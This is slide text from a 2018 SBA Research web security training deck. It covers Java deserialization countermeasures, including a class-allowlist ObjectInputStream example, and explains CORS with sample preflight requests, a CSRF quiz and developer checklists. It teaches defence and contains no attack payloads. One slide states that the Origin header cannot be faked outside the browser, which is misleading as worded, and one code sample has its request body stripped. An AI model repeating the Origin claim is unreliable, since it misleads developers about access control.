Burp-Extension 2018 - SBA Research gGmbH

Slide 114

Slide 114 text

JAVA-DESERIALIZATION-VULNERABILITY Demo 2018 - SBA Research gGmbH

Slide 115

Slide 115 text

Counter measures • Remove Gadget class from classpath o Amount of vulnerable libraries is increasing • Using a blacklist o A bypass could be possible • Sandbox during the deserialization o Execution can happen later (deferred Execution) 2018 - SBA Research gGmbH

Slide 116

Slide 116 text

Counter measures • Don’t deserialize data, which is not trustworthy! o Search for code – ObjectInputStream.readObject() – ObjectInputStream.readUnshared() o where the InputStream comes from the user • Use other formats o JSON, XML, etc. • Patch Libraries with vulnerabilites! 2018 - SBA Research gGmbH

Slide 117

Slide 117 text

Counter measures (2) 2018 - SBA Research gGmbH public class LookAheadObjectInputStream extends ObjectInputStream { public LookAheadObjectInputStream(InputStream inputStream) throws IOException { super(inputStream); } // Only deserialize instances of our expected class @Override protected Class resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { if (!desc.getName().equals(SecureCodingGuru.class.getName())) { throw new InvalidClassException( "Unauthorized deserialization attempt", desc.getName()); } return super.resolveClass(desc); } }

Slide 118

Slide 118 text

Developer‘s Checklist Deserialization • Don‘t 2018 - SBA Research gGmbH

Slide 119

Slide 119 text

Developer‘s Checklist Deserialization • use 2018 - SBA Research gGmbH

Slide 120

Slide 120 text

Developer‘s Checklist Deserialization • serialized objects 2018 - SBA Research gGmbH

Slide 121

Slide 121 text

Developer‘s Checklist Deserialization • as 2018 - SBA Research gGmbH

Slide 122

Slide 122 text

Developer‘s Checklist Deserialization • user input! 2018 - SBA Research gGmbH

Slide 123

Slide 123 text

CROSS-ORIGIN RESOURCE SHARING (CORS) 2018 - SBA Research gGmbH

Slide 124

Slide 124 text

Overview: Cross-Origin Resource Sharing • W3C recommendation from January 16th 2014 o https://www.w3.org/TR/cors/ • CORS allows cross-origin requests in a controlled way o Before HTML5: Forbidden by the Same Origin Policy (Alternative: JSONP) • The target domain only has to define the following HTTP header HTTP/1.1 200 OK Content-Type: text/html Access-Control-Allow-Origin: http://example.sld.tld 2018 - SBA Research gGmbH

Slide 125

Slide 125 text

What is a Cross-Origin HTTP Request? • A resource makes a cross-origin request, when it loads a resource from a domain which is different to the original domain o Happens usually with pictures, CSS, and scripts o Browser restrict HTTP requests, which are started within a script (XMLHttpRequest) – They are only allowed to send scripts to the same domain (Same-Origin Policy) 2018 - SBA Research gGmbH

Slide 126

Slide 126 text

Procedure schema: Cross-Origin Requests 2018 - SBA Research gGmbH CORS by Mozilla Contributors is licensed under CC-BY-SA 2.5.

Slide 127

Slide 127 text

CORS - Functionality • Specifies new HTTP header which allows servers to read AJAX responses from other domains • Implementation is within the browser o Extends the Same-Origin policy with exceptions • For HTTP requests, which can have side effects o The browser has to send so called “Preflight” requests • Preflight – request o Is a HTTP OPTIONS request o The server asks, if the wanted CORS request is allowed 2018 - SBA Research gGmbH

Slide 128

Slide 128 text

CORS – Browser support • April 2017: 2018 - SBA Research gGmbH

Slide 129

Slide 129 text

Simple Requests • Are HTTP requests, which don’t trigger CORS preflight request in the browser • Have to fulfill the following requirements: o HTTP methode: GET or HEAD or POST – Why was POST allowed? It can cause side effects? – Because it was always possible (e.g. form with third-party domain as target and POST methode) o Doesn’t contain own HTTP headers o Content-Type: – application/x-www-form-urlencoded – multipart/form-data – text/plain 2018 - SBA Research gGmbH

Slide 130

Slide 130 text

CORS – Simple Request (1/2) var invocation = new XMLHttpRequest(); var url = 'http://bar.other/resources/public-data/'; function callOtherDomain() { if(invocation) { invocation.open('GET', url, true); invocation.onreadystatechange = handler; invocation.send(); } } 2018 - SBA Research gGmbH GET /resources/public-data/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 (en-US; rv:1.9.1b3pre) Accept: text/html,application/xml;q=0.9,*/*;q=0.8 Referer: http://foo.example/examples/access- control/simpleXSInvocation.html Origin: http://foo.example JavaScript: HTTP response of the browser:

Slide 131

Slide 131 text

CORS – Simple Request (2/2) HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 00:23:53 GMT Server: Apache/2.0.61 Access-Control-Allow-Origin: * Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/xml [XML Data] 2018 - SBA Research gGmbH HTTP response of the browser:

Slide 132

Slide 132 text

CORS – Preflighted Request (1/4) • Why does the JavaScript code above trigger a Preflight request? o Own HTTP header ('X-PINGOTHER') is set o Content-Type "application/xml" var invocation = new XMLHttpRequest(); var url ='http://bar.other/resources/post-here/'; var body = Arun'; function callOtherDomain(){ if(invocation) { invocation.open('POST', url, true); invocation.setRequestHeader('X-PINGOTHER', 'pingpong'); invocation.setRequestHeader('Content-Type', 'application/xml'); invocation.onreadystatechange = handler; invocation.send(body); } } 2018 - SBA Research gGmbH JavaScript:

Slide 133

Slide 133 text

CORS – Preflighted Request (2/4) 2018 - SBA Research gGmbH OPTIONS /resources/post-here/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 Accept: text/html,application/xml;q=0.9,*/*;q=0.8 Connection: keep-alive Origin: http://foo.example Access-Control-Request-Method: POST Access-Control-Request-Headers: X-PINGOTHER, Content-Type HTTP Preflight request of the browser: HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:39 GMT Server: Apache/2.0.61 (Unix) Access-Control-Allow-Origin: http://foo.example Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: X-PINGOTHER, Content-Type Access-Control-Max-Age: 86400 Content-Length: 0 Content-Type: text/plain HTTP Preflight response of the server:

Slide 134

Slide 134 text

CORS – Preflighted Request (3/4) 2018 - SBA Research gGmbH POST /resources/post-here/ HTTP/1.1 Host: bar.other User-Agent: Mozilla/5.0 Accept: text/html, application/xml;q=0.9,*/*;q=0.8 Connection: keep-alive X-PINGOTHER: pingpong Content-Type: text/xml; charset=UTF-8 Referer: http://foo.example/examples/preflightInvocation.html Content-Length: 55 Origin: http://foo.example Pragma: no-cache Cache-Control: no-cache Arun HTTP Preflight request of the browser: • The Access-Control-Request-* header isn’t set anymore

Slide 135

Slide 135 text

CORS – Preflighted Request (4/4) 2018 - SBA Research gGmbH HTTP/1.1 200 OK Date: Mon, 01 Dec 2008 01:15:40 GMT Server: Apache/2.0.61 (Unix) Access-Control-Allow-Origin: http://foo.example Vary: Accept-Encoding, Origin Content-Encoding: gzip Content-Length: 235 Keep-Alive: timeout=2, max=99 Connection: Keep-Alive Content-Type: text/plain [Some GZIP'd payload] HTTP Preflight response of the server: • Contains the Access-Control-Allow-Origin header

Slide 136

Slide 136 text

Summary CORS HTTP request header • Are set by the browsers automatically • Origin: o Defines the origin of a Cross-Site requests or Preflight request o Similar to Referer header but doesn’t contain paths • Access-Control-Request-Method: o Part of the Preflight request o Lets the server know which HTTP methode are used by the actual request • Access-Control-Request-Headers o Part of the Preflight request o Lets the server know which HTTP header are attached to the actual request 2018 - SBA Research gGmbH

Slide 137

Slide 137 text

Summary CORS HTTP response header 1/2 • Must be set by the developer on the server-side • Access-Control-Allow-Origin: | * o Defines a URL, which is allowed to read the resource. The browser has to process this! o It’s possible in the header to allow one or all domains o Interconnection with caching: – Vary: Origin has to be set, when the wildcard host isn’t always used • Access-Control-Expose-Headers: X-My- Custom-Header, X-Another-Custom-Header o A whitelist of HTTP headers, which can be accessed via JavaScript • Access-Control-Max-Age: o Defines how long the result of a Preflight request is allowed to be saved 2018 - SBA Research gGmbH

Slide 138

Slide 138 text

Summary CORS HTTP response header 2/2 • Access-Control-Allow-Credentials: true o Defines, if requests with credentials (Cookies or HTTP Basic Auth headers) are allowed • Access-Control-Allow-Methods: [, ]* o Defines, which HTTP methods are allowed to access resources o Is sent as a response to Preflight requests • Access-Control-Allow-Headers: [, ]* o Tells the browser, which HTTP header are allowed for accessing the resources o Is sent as a response to Preflight requests 2018 - SBA Research gGmbH

Slide 139

Slide 139 text

Perils of CORS • Don’t use the Origin HTTP header for access control o Can’t be faked by an attacker outside the browser • Only web applications with a unique Origin can use CORS securely o Origin HTTP header consists of schema, hostname and port o e.g. a web application example.org/app-name/ can’t be differentiated from other web applications, which also run on example.org 2018 - SBA Research gGmbH

Slide 140

Slide 140 text

CORS – Pay attention to … • CORS prevents (except for Preflight requests) not the request itself o Only the reading of the response o CSRF protection still needed • Only whitelisted domains in Access-Control- Allow-Origin 2018 - SBA Research gGmbH

Slide 141

Slide 141 text

Quiz • CORS and Cross-Site-Request Forgery (CSRF): o Does CORS reduce the impact of CSRF vulnerabilities, or make CSRF attack harder? 2018 - SBA Research gGmbH

Slide 142

Slide 142 text

Quiz • CORS and Cross-Site-Request Forgery (CSRF): o Does CORS reduce the impact of CSRF vulnerabilities, or make CSRF attack harder? • Answer: – I can’t start the attack anymore with AJAX, because no cookies (with session IDs) are attached. – It’s still possible via form and auto POST 2018 - SBA Research gGmbH

Slide 143

Slide 143 text

Developer‘s Checklist CORS • Spend time understanding it before implementing it! • Especially for authenticated APIs o Whitelist origins! o Don‘t do Access-Control-Allow-Origin: * – It isn‘t technically allowed anyway – This is only for public, read-only APIs (like, e.g., Wikipedia) • Use max-age for caching the info (preflighted requests take time) 2018 - SBA Research gGmbH

Slide 144

Slide 144 text

Thank you! Thomas Konrad SBA Research https://www.sba-research.org [email protected] Twitter: @_thomaskonrad (personal account) Want more? Web Application Security Training @ SBA Research (or in your office?) Visit https://www.sba-research.org/ 2018 - SBA Research gGmbH